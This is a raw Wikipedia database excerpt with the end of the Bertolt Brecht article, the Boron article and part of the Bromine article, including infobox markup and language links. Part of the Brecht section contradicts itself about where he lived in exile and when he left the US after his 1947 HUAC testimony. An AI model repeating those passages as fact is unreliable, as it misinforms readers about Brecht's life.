By February 1933, Brecht’s work was eclipsed by the rise of [[Nazi]] ([[fascist]]) rule in Germany. Brecht would also have his work challenged again in later life by the U.S. [[House Un-American Activities Committee]] (HUAC) who believed he was under the influence of communism.

== Nazi Germany and World War II ==
After [[Adolf Hitler]] won the election in 1933, Brecht perceived a great danger to himself and left for exile&amp;mdash;to [[Austria]], [[Switzerland]], [[Denmark]], [[Finland]], [[Sweden]],  [[England]], then [[Russia]] and finally in the [[United States]].
In his resistance toward the Nazi and Fascist movements, Brecht wrote his most famous plays: ''[[Galileo (play)|Galileo]]'', ''[[Mother Courage and Her Children]]'', ''[[Mr Puntila and His Man Matti]]'', ''[[The Resistible Rise of Arturo Ui]]'', ''[[Caucasian Chalk Circle]]'', ''[[The Good Person of Sezuan]]'', and many others.  
Brecht also wrote poetry which continues to attract attention and respect. He worked on a few screenplays for [[Hollywood]], like ''[[Hangmen Also Die]]'', though he had no real success or pleasure in this.

== Cold War and East Germany ==
In the years of the [[Cold War]] and &quot;[[red scare]]&quot;, the House Un-American Activities Committee hounded Brecht for his communist allegiances, and he was soon [[Hollywood blacklist|blacklisted]] by movie studio bosses. Brecht, along with about 30 other Hollywood writers, directors, actors and producers, was subpoenaed to appear before the HUAC in November of 1947.  He had pledged not to testify but did so anyway. Unlike the ten others who went before him, he was not cited for contempt. He testified that he was not a member of the [[communist party]] there or abroad, and was thanked by the Vice Chairman [[Karl Mundt]] for cooperating.  By this time, Brecht had left the US and was running the [[Berliner Ensemble]] theatre in [[East Berlin]]. After testifying, he left the US the next day for Europe. He had lived for many years in [[Moscow]] after [[1933]], but not in the other countries mentioned.  In April of [[1941]], he acquired a visa at the US consulate in [[Finland]] to come to the US.  He then traveled across the [[USSR]] by rail to [[Vladivostok]] during June.  He was allowed to travel in the Soviet Union while officially an enemy alien from Germany when Germany attacked the USSR that same month.  Citizens of the Soviet Union could not travel as freely.  He arrived in the US in July of 1941 and took out papers to become a citizen in December, but never acted on them.  He was regularly in touch with the Soviet Vice Counsel over the next seven years.  His talent was as a playwright and poet and one would expect him to have worked in New York, but instead he stayed in Hollywood, where he had few notable accomplishments.  

Leaving the United States for Europe, Brecht came to [[Switzerland]], where he adapted [[Sophocles]]' ''[[Antigone (Sophocles)|Antigone]]'', and then was invited to Berlin by [[East Germany]]. Horrified at the reinstatement of former Nazis into [[West Germany]]'s government, Brecht accepted the offer and made East Berlin his home. 

While Brecht's communist sympathies were a bane in the United States, East German officials sought to make him their hero. Though he had not been a member of the communist party, he had been deeply schooled in [[Marxism]] by the dissident communist [[Karl Korsch]], and his communist allegiances were sincere. He claimed communism appeared to be the only reliable antidote to [[militarism|militarist]] [[fascism]] and spoke out against the remilitarization of the West and the [[division of Germany]].

But Brecht proved to be almost as uncomfortable for his East German hosts as for the West Germans across the [[iron curtain]]. Brecht did not keep up appearances &amp;mdash; he was scruffily dressed and always had a stubbly, unshaven face. East German security guards once excluded him from a Berlin reception being given in his own honor.

He also found the experience of living in a [[Stalinist]] state far different from what he had imagined in exile, when he composed works such as ''Die Massnahme'' (&quot;The Measure&quot;), which glorified the self-denying infallible vanguard party, or, more concretely, in ''Die Massnahmen'', which justified the political decisions made by the [[Comintern]] that resulted in the spectacular failure of the revolution attempted in [[Shanghai]] in [[1927]].

== Later life ==
[[Image:Brechtgrave.jpg|thumb|left|Grave of Bertolt Brecht and Helen Weigl]]Although Brecht lived in [[East Germany]], a copyright on his writings was held by a Swiss company and he received valuable hard currency remittances; he remained an Austrian citizen. He used to drive around East Berlin in a pre-war [[DKW]] car &amp;mdash; a rare luxury in the austere divided capital.

Brecht wrote very few plays in his last years in Berlin, none of them as famous as his previous works. Some of his most famous poems, however, including the &quot;[[Buckower Elegies]]&quot;, were from this time.
Brecht died in [[1956]] of a [[Myocardial infarction|heart attack]] at the age of 
58.

In his [[will (law)|will]] he provided instructions that a stiletto be placed in his heart and that he be buried in a steel coffin so that his corpse could not be eaten by worms. He is buried in the [[Dorotheenfriedhof]] in Berlin.

== Impact ==
Brecht left the [[Berliner Ensemble]] to his wife, the actress [[Helene Weigel]], which she ran until her death in [[1971]]. Perhaps the most famous German touring theater of the postwar era, it was primarily devoted to performing Brecht plays.  

His son, [[Stefan Brecht]], became a poet and theatre critic interested in New York's avant-garde theatre.

Brecht's influence can be seen in the cinema.  Such filmmakers as [[Rainer Werner Fassbinder]] and [[Jean-Luc Godard]] were influenced by Brecht and his theory of the [[Verfremdungseffekt]].

== Theory of theatre ==
Brecht created an influential theory of theatre, the '''[[epic theatre]]''', wherein a play should not cause the spectator to emotionally identify with the action before him or her, but should instead provoke rational self-reflection and a critical view of the actions on the stage. 

For this purpose, Brecht employed the use of techniques that remind the spectator that the play is a representation of reality and not reality itself, which he called the '''[[Verfremdungseffekt]]''' (translated as ''distancing effect,'' ''estrangement effect,'' or ''alienation effect'').
Such techniques included the direct address by actors to the audience, exaggerated, unnatural stage lighting, the use of song, and explanatory placards.  

In one of his first productions, Brecht famously put up signs that said &quot;Glotzt nicht so romantisch!&quot; (&quot;Don't stare so romantically!&quot;). His manner of stagecraft has proven both fruitful and confusing to those who try to produce his works or works in his style. His theory of theatre has heavily influenced modern theatre, though it is believed that the effect of the epic theatre wears off after watching a few similar plays. Some of his innovations, though, have become so common that they've become theatrical canon.

&lt;!-- Not necessary, for its own article maybe? :: Another useful translation of Verfremdungseffekt is ''estrangement effect.'' This translation places an emphasis on how Brecht tried to make situations strange in order to distance the audience from the play.--&gt;
Although Brecht's work and ideas about theatre are generally thought of as belonging to [[modernism]], there is recent thought that he is the forerunner of contemporary [[postmodern]] theatre practice.  This is particularly so because he questioned and dissolved many of the accepted practices of the theatre of his time and created a uniquely [[political theatre]], that involved the audience in understanding its meaning.  Moreover, he was one of the first theatre practitioners to incorporate multimedia into the [[semiotics]] of theatre.

[[Lars von Trier]]'s films Dogville and Manderlay apply the use of the Brechtian approach to theatre.

== Major works ==
Because several Brecht works were not performed until long after they were written, the dates below show both the year they were written, followed by the year they were first produced.
* ''[[Baal (play)|Baal]]'' ([[1918]]/[[1926]])
* ''[[Drums in the Night]]'' (''Trommeln in der Nacht'', [[1918-20]])
* ''[[In the Jungle of the Cities/ In the Swamp]]'' ([[1921-23]])
* ''[[Man is Man]]'' (''Mann ist Mann'', [[1924-25]])
* ''[[The Threepenny Opera]]'' (''Die Dreigroschenoper'', [[1928]])
* ''[[Happy End]]'' ([[1929]])
* ''Lindbergh's Flight'' (''[[Der Lindberghflug]]'', [[1929]])
* ''[[The Rise and Fall of the City of Mahagonny]]'' (''Die Aufstieg und Fall der Stadt Mahagonny'', [[1928-29]])/([[1930]])
* ''[[The Baden Lehrstück on Consent]]'' ([[1928-29]])
* ''[[He Who Says Yes]]'' (''Der Jasager'', [[1929]]) 
* ''[[Saint Joan of the Stockyards]]'' (''Die heilige Johanna der Schlachthöfe'', [[1929]]/[[1959]]) 
* ''[[He Who Says No]]'' (''Der Neinsager'', [[1930]]) 
* ''[[The Measures Taken]]'' (''Die Massnahme'', [[1930]]) 
* ''[[The Mother (Play)|The Mother]]'' (''Die Mutter'', [[1930]]/[[1932]]) 
* ''[[The Exception and the Rule]]'' (''Die Ausnahme und die Regel'', [[1930-31]])/([[1936]])
**A short play about the exploitation of men. The characters undergo harsh treatment from a wealthy merchant with a lucrative interest in the imaginary deserts of Yahi.
&lt;!--moved this unedited in its entirety from a stub--&gt;
* ''[[The Seven Deadly Sins]]'' (''Die Sieben Todsüden der Kleinbürger'', [[1933]])  
* ''[[The Roundheads and the Peakheads]]'' (''Die Rundköpfe und die Spitzköpfe'', [[1931-36]])
* ''[[Fear and Misery in the Third Reich]]'' (''Furcht und Elend des Dritten Reiches'', [[1935-38]])
* ''[[Señora Carrara's Rifles]]'' (''Die Gewehre der Frau Carrar'', [[1937]]/[[1937]]) 
**based loosely on [[John Millington Synge|J.M. Synge]]'s ''Riders to the Sea'', but relocated by Brecht in the Spanish Civil War
* ''[[Mother Courage and Her Children]]'' (''Mutter Courage und ihre Kinder'', [[1939]]/[[1941]]) 
* ''[[The Trial of Lucullus]]''([[1939]]) 
* ''[[Life of Galileo|Galileo]]'' (''Leben des Galilei'', [[1938]]/[[1943]]) 
* ''[[The Good Person of Setzuan]]'' ([[1940]]/[[1943]]) 
* ''[[Puntila and Matti, his Hired Man | Puntila and His Man Matti]]'' (''Herr Puntila und sein Mann Matti'', [[1941]]) 
* ''[[The Resistible Rise of Arturo Ui]]'' ([[1941]]/[[1961]]) 
* ''[[Schweik in the Second World War]]'' ([[1941-44]])
* ''[[The Visions of Simone Machard]]'' ([[1941-44]]) with Lion Feuchtwanger 
* ''[[The Caucasian Chalk Circle]]'' (''Der kaukasische Kreidekreis'') ([[1944-45]])
* ''[[The Days of the Commune]]'' ([[1948-49]])
* ''[[The Tutor]]'' ([[1950]])

== Further reading ==
* [[Martin Esslin]] (1971) ''Brecht: The Man and His Work''
* Peter Thomson and Glendyr Sacks, eds. (1994) ''The Cambridge Companion to Brecht'', Cambridge University Press

== External links ==
{{Commons|Bertolt Brecht}}
{{wikiquote}}
*[http://german.lss.wisc.edu/brecht International Brecht Society]
*[http://eislermusic.com Brecht's friendship with Hanns Eisler]
*[http://digital.library.wisc.edu/1711.dl/BrechtGuide Brecht's Works in English: A Bibliography]: This Bibliography of Bertolt Brecht's Works in English Translation is a cooperative project of the International Brecht Society and the Bertolt-Brecht-Archiv (Akademie der Künste, Berlin). The project strives to become a comprehensive listing of Brecht's works published in English translation. Presented by the [http://uwdc.library.wisc.edu University of Wisconsin Digital Collections Center].

[[Category:German communists]]
[[Category:American communists]]
[[Category:Natives of Bavaria|Brecht,Bertolt]]

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[[zh:贝尔托·布莱希特]]</text>
    </revision>
  </page>
  <page>
    <title>Boron</title>
    <id>3755</id>
    <revision>
      <id>41980910</id>
      <timestamp>2006-03-03T00:49:25Z</timestamp>
      <contributor>
        <username>Pirkid</username>
        <id>804095</id>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{otheruses}}
{{Elementbox_header | number=5 | symbol=B | name=boron | left=[[beryllium]] | right=[[carbon]] | above=- | below=[[aluminium|Al]] | color1=#cccc99 | color2=black }}
{{Elementbox_series | [[metalloid]]s }}
{{Elementbox_groupperiodblock | group=13 | period=2 | block=p }}
{{Elementbox_appearance_img | B,5| black/brown }}
{{Elementbox_atomicmass_gpm | [[1 E-26 kg|10.811]][[List of elements by atomic mass|(7)]] }}
{{Elementbox_econfig | 1s&lt;sup&gt;2&lt;/sup&gt; 2s&lt;sup&gt;2&lt;/sup&gt; 2p&lt;sup&gt;1&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 3 }}
{{Elementbox_section_physicalprop | color1=#cccc99 | color2=black }}
{{Elementbox_phase | [[solid]] }}
{{Elementbox_density_gpcm3nrt | 2.34 }}
{{Elementbox_densityliq_gpcm3mp | 2.08 }}
{{Elementbox_meltingpoint | k=2349 | c=2076 | f=3769 }}
{{Elementbox_boilingpoint | k=4200 | c=3927 | f=7101 }}
{{Elementbox_heatfusion_kjpmol | 50.2 }}
{{Elementbox_heatvaporiz_kjpmol | 480 }}
{{Elementbox_heatcapacity_jpmolkat25 | 11.087 }}
{{Elementbox_vaporpressure_katpa | 2348 | 2562 | 2822 | 3141 | 3545 | 4072 | comment= }}
{{Elementbox_section_atomicprop | color1=#cccc99 | color2=black }}
{{Elementbox_crystalstruct | rhombohedral }}
{{Elementbox_oxistates | 3&lt;br /&gt;(mildly [[acid]]ic oxide) }}
{{Elementbox_electroneg_pauling | 2.04 }}
{{Elementbox_ionizationenergies4 | 800.6 | 2427.1 | 3659.7 }}
{{Elementbox_atomicradius_pm | [[1 E-11 m|85]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-11 m|87]] }}
{{Elementbox_covalentradius_pm | [[1 E-11 m|82]] }}
{{Elementbox_section_miscellaneous | color1=#cccc99 | color2=black }}
{{Elementbox_magnetic | nonmagnetic }}
{{Elementbox_eresist_ohmmat20 | 150 &amp;micro;}}
{{Elementbox_thermalcond_wpmkat300k | 27.4 }}
{{Elementbox_thermalexpansion_umpmkat25 | 5&amp;ndash;7 }}
{{Elementbox_speedofsound_rodmpsat20 | 16200 }}
{{Elementbox_bulkmodulus_gpa | (&amp;beta; form) 185 }}
{{Elementbox_mohshardness | 9.3 }}
{{Elementbox_vickershardness_mpa | 49000 }}
{{Elementbox_cas_number | 7440-42-8 }}
{{Elementbox_isotopes_begin | isotopesof=boron | color1=#cccc99 | color2=black }}
{{Elementbox_isotopes_stable | mn=10 | sym=B | na=19.9%* | n=5 }}
{{Elementbox_isotopes_stable | mn=11 | sym=B | na=80.1%* | n=6 }}
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | *&lt;small&gt;Boron-10 content may be as low as 19.1% and as&lt;br /&gt;high as 20.3% in natural samples. Boron-11 is&lt;br /&gt;the remainder in such cases.&lt;/small&gt;
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'''Boron''' is a [[chemical element]] in the [[periodic table]] that has the symbol '''B''' and [[atomic number]] 5. A trivalent [[metalloid]] element, boron occurs abundantly in the ore [[borax]]. There are several [[allotropy|allotrope]]s of boron; amorphous boron is a brown powder, but metallic boron is black. The metallic form is hard (9.3 on Mohs' scale) and a poor conductor at room temperature. It is never found free in nature.  [[Crystalline]] boron exists in many [[polymorph]]s.  Two [[rhombohedral]] forms, α-boron and β-boron containing 12 and 106.7 atoms in the rhombohedral unit cell respectively, and 50-atom [[tetragonal]] boron are the three most characterised crystalline forms.

== Notable characteristics ==
Boron is [[electron]]-deficient, possessing a vacant [[p-block|p-orbital]]. It is an [[electrophile]]. Compounds of boron often behave as [[Lewis acid]]s, readily bonding with electron-rich substances in an attempt to quench boron's insatiable hunger for electrons.

Optical characteristics of this element include the transmittance of [[infrared]] light. At standard temperatures boron is a poor [[electrical conductivity|electrical conductor]] but is a good conductor at high temperatures.

[[Boron nitride]] can be used to make materials that are almost as hard as [[diamond]]. The nitride also acts as an electrical [[insulator]] but conducts heat similar to a [[metal]]. This element also has [[lubrication|lubricating]] qualities that are similar to [[graphite]]. Boron is also similar to [[carbon]] with its capability to form stable [[covalent bond|covalently bonded]] molecular networks.

==Applications==
The most economically important compounds of boron are:

* Sodium tetraborate pentahydrate ([[sodium|Na]]&lt;sub&gt;2&lt;/sub&gt;B&lt;sub&gt;4&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;7&lt;/sub&gt; · 5[[water (molecule)|H&lt;sub&gt;2&lt;/sub&gt;O]]), which is used in large amounts in making insulating [[fiberglass]] and [[sodium perborate]] [[Bleach (chemical)|bleach]],
* Orthoboric acid ([[hydrogen|H]]&lt;sub&gt;3&lt;/sub&gt;B[[oxygen|O]]&lt;sub&gt;3&lt;/sub&gt;) or [[boric acid]], used in the production of textile [[fiberglass]] and [[flat panel display]]s or [[eye drop]]s, among many uses, and
* Sodium tetraborate decahydrate ([[sodium|Na]]&lt;sub&gt;2&lt;/sub&gt;B&lt;sub&gt;4&lt;/sub&gt;[[oxygen|O]]&lt;sub&gt;7&lt;/sub&gt; · 10[[water (molecule)|H&lt;sub&gt;2&lt;/sub&gt;O]]) or [[borax]], used in the production of adhesives, in anti-corrosion systems and many other uses.

Of the several hundred uses of boron compounds, one can cite the following ones:

* Boron being an essential [[micronutrient]], playing notably a role in plant [[fertilizer|fertilisation]] and in the building of [[cell wall]] structures, it is used in [[agriculture]].
* Because of its distinctive green flame, amorphous boron is used in [[pyrotechnic]] [[flare]]s.
* [[Boric acid]] is an important compound used in [[textile]] products.
* [[Boric acid]] is also traditionally used as an [[insecticide]], notably against [[ant]]s or [[cockroach]]es.
* Compounds of boron are used extensively in organic synthesis and in the manufacture of [[borosilicate glass|borosilicate]] and [[borophophosilicate glass|borophophosilicate]] [[glass]]es.
* Other compounds are used as [[wood]] preservatives, and are particularly attractive in this regard because they possess low [[toxicity]].
* Boron-10 is used to assist control of [[nuclear reactor]]s, a [[radiation protection|shield]] against [[Radioactive decay|radiation]] and in [[neutron]] detection.
* Purified boron-11 ([[#Depleted boron|depleted boron]]) is used for [[borosilicate glass]]es in [[radiation hardening|rad-hard]] electronics.
* Research is being conducted into fusion power by interaction of hydrogen and boron.  Potential benefits include relatively small and uncomplicated reactors and supposedly greater safety.
* Boron filaments are high-strength, lightweight materials that are chiefly used for advanced [[aerospace]] structures as a component of [[composite material]]s.
* [[Sodium borohydride]] (NaBH&lt;sub&gt;4&lt;/sub&gt;), is a popular chemical [[Redox|reducing agent]], used (for example) for reducing [[aldehyde]]s and [[ketone]]s to [[alcohol]]s.
* Boron in trace amounts is used as [[dopant]] for [[P-type semiconductor]]s.

Boron compounds are being investigated for use in a broad range of applications, including as components in sugar-permeable membranes, [[carbohydrate]] sensors and [[bioconjugate]]s.  Medicinal applications being investigated include boron [[neutron capture]] therapy and [[medication|drug]] delivery. Other boron compounds show promise in treating [[arthritis]].

[[borane|Hydrides of boron]] are [[oxidation|oxidized]] easily and liberate a considerable amount of [[energy]]. They have therefore been studied for use as possible [[rocket fuel]]s.

==History==
Compounds of boron ([[Arabic language|Arabic]] ''Buraq'' from [[Persian language|Persian]] ''Burah'') have been known of for thousands of years. In early Egypt, [[mummification]] depended upon an ore known as [[natron]], which contained borates as well as some other common salts. Borax [[glaze]]s were used in [[China]] from 300 AD, and boron compounds were used in glassmaking in ancient Rome.

The element was not isolated until [[1808]] by Sir [[Humphry Davy]], [[Joseph Louis Gay-Lussac]], and [[Louis Jacques Thénard]], to about 50 percent purity.  These men did not recognize the substance as an element. It was [[Jöns Jakob Berzelius]] in 1824 that identified boron as an element. The first pure boron was produced by the American chemist W. Weintraub in 1909.

==Occurrence==

The [[United States]] and [[Turkey]] are the world's largest producers of boron. Boron does not appear in nature in elemental form but is found combined in [[borax]], [[boric acid]], [[colemanite]], [[kernite]], [[ulexite]] and [[borate]]s. Boric acid is sometimes found in [[volcano|volcanic]] spring waters. Ulexite is a borate [[mineral]] that naturally has properties of [[fiber optics]].

[[Image:Borax crystals.jpg|thumb|100px|right|Borax crystals]]

Economically important sources are from the [[ore]] rasorite (kernite) and tincal (borax ore) which are both found in the [[Mojave Desert]] of [[California]] with borax being the most important source there. [[Turkey]] is another place where extensive borax deposits are found.

Pure elemental boron is not easy to prepare. The earliest methods used involve reduction of [[boric oxide]] with metals such as [[magnesium]] or [[aluminium]]. However the product is almost always contaminated with metal [[boride]]s. (The reaction is quite spectacular though.) Pure boron can be prepared by reducing volatile boron halogenides with [[hydrogen]] at high temperatures.

In 1997 [[crystalline]] boron (99% pure) cost about [[United States dollar|US$]]5 per [[gram]] and [[amorphous]] boron cost about US$2 per gram.
; see also [[:category:Borate minerals]]

==Isotopes==   
Boron has two naturally-occurring and stable [[isotope]]s, &lt;sup&gt;11&lt;/sup&gt;B (80.1%) and &lt;sup&gt;10&lt;/sup&gt;B (19.9%). The mass difference results in a wide range of &amp;delta;B-11 values in natural waters, ranging from -16 to +59. There are 13 known isotopes of boron, the shortest-lived isotope is &lt;sup&gt;7&lt;/sup&gt;B which decays through [[proton emission]] and [[alpha decay]]. It has a [[half-life]] of 3.26500x10&lt;sup&gt;-22&lt;/sup&gt; [[Second|s]]. Isotopic fractionation of boron is controlled by the exchange reactions of the boron species B([[oxygen|O]][[hydrogen|H]])&lt;sub&gt;3&lt;/sub&gt; and B(OH)&lt;sub&gt;4&lt;/sub&gt;. Boron isotopes are also fractionated during [[mineral crystallization]], during H&lt;sub&gt;2&lt;/sub&gt;O phase changes in [[hydrothermal]] systems, and during hydrothermal alteration of [[Rock (geology)|rock]]. The latter effect species preferential removal of the &lt;sup&gt;10&lt;/sup&gt;B(OH)&lt;sub&gt;4&lt;/sub&gt; [[ion]] onto clays results in solutions enriched in &lt;sup&gt;11&lt;/sup&gt;B(OH)&lt;sub&gt;3&lt;/sub&gt; may be responsible for the large &lt;sup&gt;11&lt;/sup&gt;B enrichment in seawater relative to both [[ocean]]ic crust and [[continent]]al crust; this difference may act as an [[isotopic signature]].   
    
===Depleted boron===   
The boron-10 isotope is good at capturing [[thermal neutron]]s from [[cosmic radiation]] or in [[Pressurized water reactor|PWR]]s (''P''ressurized ''W''ater ''R''eactor, a type of nuclear power reactor). It then undergoes [[fission]] - producing a [[gamma ray]], an [[alpha particle]], and a [[lithium]] ion. When this happens inside of an [[integrated circuit]], the fission products may then dump charge into nearby chip structures, causing data loss (bit flipping, or [[single event upset]]). In critical [[semiconductor]] designs, '''depleted boron''' - consisting almost entirely of boron-11 - is used, to avoid this effect, as one of [[radiation hardening]] measures. Boron-11 is a by-product of the [[nuclear power|nuclear industry]]. 

==Precautions==
Elemental boron and borates are not [[toxic]] and therefore do not require special precautions while handling. Some of the more exotic [[borane|boron hydrogen]] compounds, however, ''are'' toxic as well as highly flammable and do require special handling care.

==See also==
*[[Boron deficiency]]

==References==
*[http://periodic.lanl.gov/elements/5.html Los Alamos National Laboratory &amp;ndash; Boron]

== External links ==
{{Commons|Boron}}
* [http://www.du.edu/~jcalvert/phys/boron.htm Boron]
* [http://www.compchemwiki.org/index.php?title=Boron Computational Chemistry Wiki]
* [http://www.inchem.org/documents/ehc/ehc/ehc204.htm Environmental Health Criteria 204: Boron (1998)] by the [[International Programme on Chemical Safety|IPCS]].
* [http://education.jlab.org/itselemental/ele005.html It's Elemental &amp;ndash; Boron]
* [http://www.npi.gov.au/database/substance-info/profiles/15.html National Pollutant Inventory - Boron and compounds]
* [http://www.webelements.com/webelements/elements/text/B/index.html WebElements.com &amp;ndash; Boron]

[[Category:Chemical elements]]
[[Category:Metalloids]]

[[af:Boor (element)]]
[[ar:بورون]]
[[bg:Бор (химичен елемент)]]
[[bs:Bor]]
[[ca:Bor]]
[[cs:Bor]]
[[cy:Boron]]
[[da:Bor (grundstof)]]
[[de:Bor]]
[[et:Boor]]
[[el:Βόριο]]
[[es:Boro]]
[[eo:Boro]]
[[eu:Boro]]
[[fr:Bore]]
[[ko:붕소]]
[[io:Borono]]
[[id:Boron]]
[[is:Bór]]
[[it:Boro]]
[[he:בורון]]
[[lv:Bors (ķīmiskais elements)]]
[[lt:Boras]]
[[hu:Bór]]
[[mi:Pūtiwha]]
[[nl:Boor (element)]]
[[ja:ホウ素]]
[[no:Bor (grunnstoff)]]
[[nn:Grunnstoffet bor]]
[[oc:Bòr]]
[[pl:Bor]]
[[pt:Boro]]
[[ru:Бор (элемент)]]
[[sk:Bór]]
[[sl:Bor (element)]]
[[sr:Бор (хемијски елемент)]]
[[fi:Boori]]
[[sv:Bor]]
[[th:โบรอน]]
[[vi:Bo]]
[[tr:Bor (element)]]
[[uk:Бор]]
[[zh:硼]]</text>
    </revision>
  </page>
  <page>
    <title>Bromine</title>
    <id>3756</id>
    <revision>
      <id>41203896</id>
      <timestamp>2006-02-25T19:40:28Z</timestamp>
      <contributor>
        <ip>216.48.23.253</ip>
      </contributor>
      <comment>/* History */</comment>
      <text xml:space="preserve">{{Elementbox_header | number=35 | symbol=Br | name=bromine | left=[[selenium]] | right=[[krypton]] | above=[[chlorine|Cl]] | below=[[iodine|I]] | color1=#ffff99 | color2=blue }}
{{Elementbox_series | [[halogen]]s }}
{{Elementbox_groupperiodblock | group=17 | period=4 | block=p }}
{{Elementbox_appearance_img | Br,35| gas/liquid: red-brown&lt;br /&gt;solid: metallic luster }}
{{Elementbox_atomicmass_gpm | [[1 E-25 kg|79.904]][[List of elements by atomic mass|(1)]] }}
{{Elementbox_econfig | &amp;#91;[[argon|Ar]]&amp;#93; 3d&lt;sup&gt;10&lt;/sup&gt; 4s&lt;sup&gt;2&lt;/sup&gt; 4p&lt;sup&gt;5&lt;/sup&gt; }}
{{Elementbox_epershell | 2, 8, 18, 7 }}
{{Elementbox_section_physicalprop | color1=#ffff99 | color2=blue }}
{{Elementbox_phase | [[liquid]] }}
{{Elementbox_density_gpcm3nrt | (liquid) 3.1028 }}
{{Elementbox_meltingpoint | k=265.8 | c=-7.3 | f=19 }}
{{Elementbox_boilingpoint | k=332.0 | c=58.8 | f=137.8 }}
{{Elementbox_heatfusion_kjpmol | (Br&lt;sub&gt;2&lt;/sub&gt;) 10.57 }}
{{Elementbox_heatvaporiz_kjpmol | (Br&lt;sub&gt;2&lt;/sub&gt;) 29.96 }}
{{Elementbox_heatcapacity_jpmolkat25 | (Br&lt;sub&gt;2&lt;/sub&gt;)&lt;br /&gt;75.69 }}
{{Elementbox_vaporpressure_katpa | 185 | 201 | 220 | 244 | 276 | 332 | comment= }}
{{Elementbox_section_atomicprop | color1=#ffff99 | color2=blue }}
{{Elementbox_crystalstruct | orthorhombic }}
{{Elementbox_oxistates | &amp;plusmn;1, 5&lt;br /&gt;(strongly [[acid]]ic oxide) }}
{{Elementbox_electroneg_pauling | 2.96 }}
{{Elementbox_ionizationenergies4 | 1139.9 | 2103 | 3470 }}
{{Elementbox_atomicradius_pm | [[1 E-10 m|115]] }}
{{Elementbox_atomicradiuscalc_pm | [[1 E-11 m|94]] }}
{{Elementbox_covalentradius_pm | [[1 E-10 m|114]] }}
{{Elementbox_vanderwaalsrad_pm | [[1 E-10 m|185]] }}
{{Elementbox_section_miscellaneous | color1=#ffff99 | color2=blue }}
{{Elementbox_magnetic | nonmagnetic }}
{{Elementbox_eresist_ohmmat20 | 7.8&amp;times;10&lt;sup&gt;10&lt;/sup&gt; }}
{{Elementbox_thermalcond_wpmkat300k | 0.122 }}
{{Elementbox_speedofsound_mps | (20 °C) ? 206 }}
{{Elementbox_cas_number | 7726-95-6 }}
{{Elementbox_isotopes_begin | isotopesof=bromine | color1=#ffff99 | color2=blue }}
{{Elementbox_isotopes_stable | mn=79 | sym=Br | na=50.69% | n=44 }}
{{Elementbox_isotopes_stable | mn=81 | sym=Br | na=49.31% | n=46 }}
{{Elementbox_isotopes_end}}
{{Elementbox_footer | color1=#ffff99 | color2=blue }}

'''Bromine''' (from [[Greek language|Gr.]] βρωμος (brómos), meaning &quot;stench&quot;), is a [[chemical element]] in the [[periodic table]] that has the symbol '''Br''' and [[atomic number]] 35. A [[halogen]] element, bromine is a red volatile liquid at room temperature which has a reactivity between [[chlorine]] and [[iodine]]. This element is corrosive to human tissue in a liquid state and its vapors irritate eyes and throat. Bromine vapors are very toxic with inhalation.

== Notable characteristics ==
Bromine is the only liquid nonmetallic element at room temperature. It is a heavy, mobile, reddish-brown liquid, that evaporates easily at [[standard temperature and pressure]]s in a red vapor (its color resembles [[nitrogen dioxide]]) that has a strong disagreeable odor resembling that of [[chlorine]]. A halogen, bromine resembles chlorine chemically but is less active (it is more active than [[iodine]] however). Bromine is slightly [[solubility|soluble]] in [[water (molecule)|water]], and highly soluble in [[carbon disulfide]], aliphatic alcohols (such as methanol), and acetic acid. It [[chemical bond|bonds]] easily with many elements and has a strong [[Bleach (chemical)|bleach]]ing action.

Bromine is highly reactive and is a powerful oxidizing agent in the presence of water. It reacts vigorously with [[amine]]s, [[alkene]]s and [[phenol]]s as well as aliphatic and [[aromatic]] [[hydrocarbon]]s, [[ketone]]s and [[acid]]s (these are brominated by either addition or substitution). With many of the metals and elements, anhydrous bromine is less reactive than wet bromine; however, dry bromine reacts vigorously with [[aluminium]], [[titanium]], [[mercury (element)|mercury]] as well as [[alkaline earth metal]]s and [[alkaline metal]]s. Bromine is used in the film used in older cameras.

== Applications ==
Elemental bromine is used to manufacture a wide variety of bromine compounds used in industry and agriculture.  Traditionally the largest use of bromine was in the production of [[ethylene dibromide|1,2-Dibromoethane]] which in turn was used as a [[gasoline]] anti-[[engine knocking|knock]] agent for [[lead]]ed gasolines before they were largely phased out due to environmental considerations.

Bromine is also used in making fumigants, flameproofing agents, water purification compounds, dyes, medicinals, sanitizers, inorganic bromides for photography, etc.  It is also used to form intermediates in organic synthesis, where it is preferred to [[iodine]] due to its much lower cost.

Bromine is used to make [[brominated vegetable oil]], which is used as an [[emulsifier]] in many [[citrus]]-flavored [[soft drinks]].

Aqueous bromine is orange and can be used in tests for [[alkenes]] and [[phenols]].
*When added to an alkene it will lose its color as it reacts forming a colorless [[Haloalkane|bromoalkane]].  For example, reaction with [[ethylene]] will produce [[1,2-dibromoethane]]. 
*When added to phenol a white precipitate, [[2,4,6-tribromophenol]], will form.

== History ==
Bromine was discovered by [[Antoine Jerome Balard|Antoine Balard]] at [[salt marsh]]es of [[Montpellier]] in [[1826]] but was not produced in quantity until [[1860]]. The French chemist and physicist [[Joseph-Louis Gay-Lussac]] suggested the name bromine due to the characteristic smell of the vapors.

== Occurrence ==
Bromine occurs in nature as [[Bromide (chemistry)|bromide salts]] in very diffuse amounts in crustal rock. Due to leaching bromide salts have accumulated in sea water
(85 [[part per million|ppm]]), and may be economically recovered from brine wells and the [[Dead Sea]] (up to 5000 ppm).

Approximately 500 million kilograms ($350 million USD) of bromine are produced per year (2001) worldwide with the [[United States]] and [[Israel]] being the primary producers.  The largest bromine reserve in the United States is located in [[Columbia County, Arkansas|Columbia]] and [[Union County, Arkansas]].

== Precautions ==
Elemental bromine is a strong irritant and, in concentrated form, will produce painful blisters on exposed [[skin]] and especially [[mucous membrane]]s. Even low concentrations of bromine vapor (from 10 ppm) can affect breathing, and inhalation of significant amounts of bromine can seriously damage the respiratory system.

Accordingly, one should always wear [[safety goggles]] and ensure adequate ventilation when handling bromine.

== Recycling ==
Because of its high cost, bromine is usually [[recycling|recycled]] rather than disposed of into the [[natural environment|environment]].

== Compounds ==
[[Aluminium bromide]] (AlBr&lt;sub&gt;3&lt;/sub&gt;), 
[[Ammonium bromide]] (NH&lt;sub&gt;4&lt;/sub&gt;Br),
[[Bromine pentafluoride]] (BrF&lt;sub&gt;5&lt;/sub&gt;),
[[Bromine trifluoride]] (BrF&lt;sub&gt;3&lt;/sub&gt;),
[[Tetrabromomethane]] (CBr&lt;sub&gt;4&lt;/sub&gt;),
